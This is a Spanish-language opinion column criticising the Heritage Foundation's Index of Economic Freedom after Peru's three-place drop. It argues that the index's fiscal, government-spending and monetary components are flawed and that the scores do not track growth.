El Perú ha descendido tres puestos en el Índice de Libertad Económica. Pero no se preocupe: el mentado índice no sirve para nada. Aunque el lamento en algunos lugares no se ha hecho esperar (un par ejemplos aquí y aquí), la verdad es que la institución que elabora este ranking no cuenta con ninguna credibilidad y la metodología que utiliza es dudosa.
Veamos. Para empezar, conozcamos al autor del índice: el Heritage Foundation, un “think tank” que en EE.UU. es conocido, entre otras cosas, porque el exsenador Jim De Mint es su actual presidente. DeMint cuenta con “logros” tales como ser el autor intelectual del cierre del gobierno a fines de 2013, sugerir un regreso al patrón del oro y haber utilizado información de 1965 para referirse a predicciones hechas para 1990. Para ponerlo de manera amable: este señor es toda una joyita.
Pero Heritage no sólo es famoso por eso. En 2013, un estudio estimó que el costo de una reforma migratoria en EE.UU. alcanzaría $6.3 billones de dólares en base a una metodología que decidía sumar todos los costos pero no descontaba los beneficios. Y como cereza de la torta, se descubrió que uno de los autores había escrito una tesis doctoral en la que señalaba que, debido a que las personas de raza negra u origen latino tienen un coeficiente intelectual menor que las personas blancas, éstas no podían ser asimiladas culturalmente.
Ahora vayamos ahora al afamado índice en sí mismo.
La medición se basa en cuatro pilares. En uno de ellos, correspondiente al tamaño del Estado, existe un componente llamado “libertad fiscal” (¿?) que se calcula en base a la carga tributaria, la mayor tasa de impuesto a las personas y la mayor tasa de impuesto a las empresas (todas con la misma ponderación). Bajo este método, una economía puede no ser “libre” si impone altos impuestos a las personas y empresas de mayores ingresos aún cuando la carga tributaria total sea relativamente baja. Por ejemplo, si el sistema tributario de un determinado país es progresivo, el ranking concluirá que es menos “libre” que otro país que recauda lo mismo pero le cobra más a los que menos tienen. Esto es lo que los lleva a concluir que, en términos fiscales, Cuba es más libre que Francia y Zimbabue es más libre que Suecia pese a que sus cargas tributarias son similares.
A esto se añade otro criterio correspondiente a gasto del gobierno. De acuerdo a Heritage, el benchmark en este rubro es cero: en otras palabras, un país es más libre cuanto menos gasta, y sólo es plenamente libre en términos de gasto público si su gobierno no gasta absolutamente nada. No importa en qué gaste, sea en educación, en armamento o en luces de Navidad: el gasto del Estado es “malo” en sí mismo. Es por esta razón que, en este rubro, Trinidad y Tobago es más libre que Japón y en Malawi el gasto del Estado es más “libre” que en el Reino Unido.
Lamentablemente, la lista de horrores metodológicos continúa. En el pilar correspondiente a eficiencia regulatoria, existe un criterio referido a “libertad monetaria” (¿de dónde se les ocurren estos nombres?): el índice asume que la libertad absoluta tiene lugar cuando la inflación durante tres años es cero. Esto, por supuesto, es claramente discutible, y los casos de la Eurozona y Japón lo demuestran. Pero eso es tema para otra columna.
Finalmente, y aunque podríamos seguir discutiendo cuestiones de metodología, cabe preguntarse en qué sentido este ranking es un indicador útil. ¿Acaso un mejor puntaje implica un mayor crecimiento? Parece no ser el caso. Sólo por señalar un ejemplo, una de las estrellas de este año es Estonia, un país que desde el 2012 ha visto su puntaje de “libertad” incrementarse; durante el mismo periodo, sin embargo, su crecimiento ha caído de 4.7% a 2.5%. Otro país europeo con un buen puntaje es Suiza: el ranking considera que el país es “libre” desde 2010, año en el que su economía creció 3.0%. No obstante, a partir de entonces, y conforme gozaba de su recién adquirido estatus, la tasa de crecimiento cayó a la mitad.
En lo que respecta al Perú, Heritage nos considera una economía moderadamente libre, con un puntaje superior a economías como, por ejemplo, Filipinas, cuya velocidad de crecimiento es superior a la peruana desde hace tres años. También somos más libres que México, país al que, en cambio, sí superamos en crecimiento. De hecho, no existe correlación alguna entre el índice y la velocidad de crecimiento de un país, o su ingreso per cápita. Y las recomendaciones de Heritage para el país, realizadas en base a estos resultados, tampoco ofrecen nada bueno.
Con todo esto, en este humilde espacio nos hacemos la siguiente pregunta: ¿los medios se habrán dado el trabajo de leer el anexo metodológico antes de citar el índice? ¿O es que el pomposo nombre de “Índice de Libertad Económica” hace que se dejen llevar por la emoción? Tal vez deberían, en vez de darle tanta importancia a este indicador, concentrarse en el excelente ranking Doing Business del Banco Mundial. O, nuevamente, leer aunque sea por un ratito los anexos. No hace daño.
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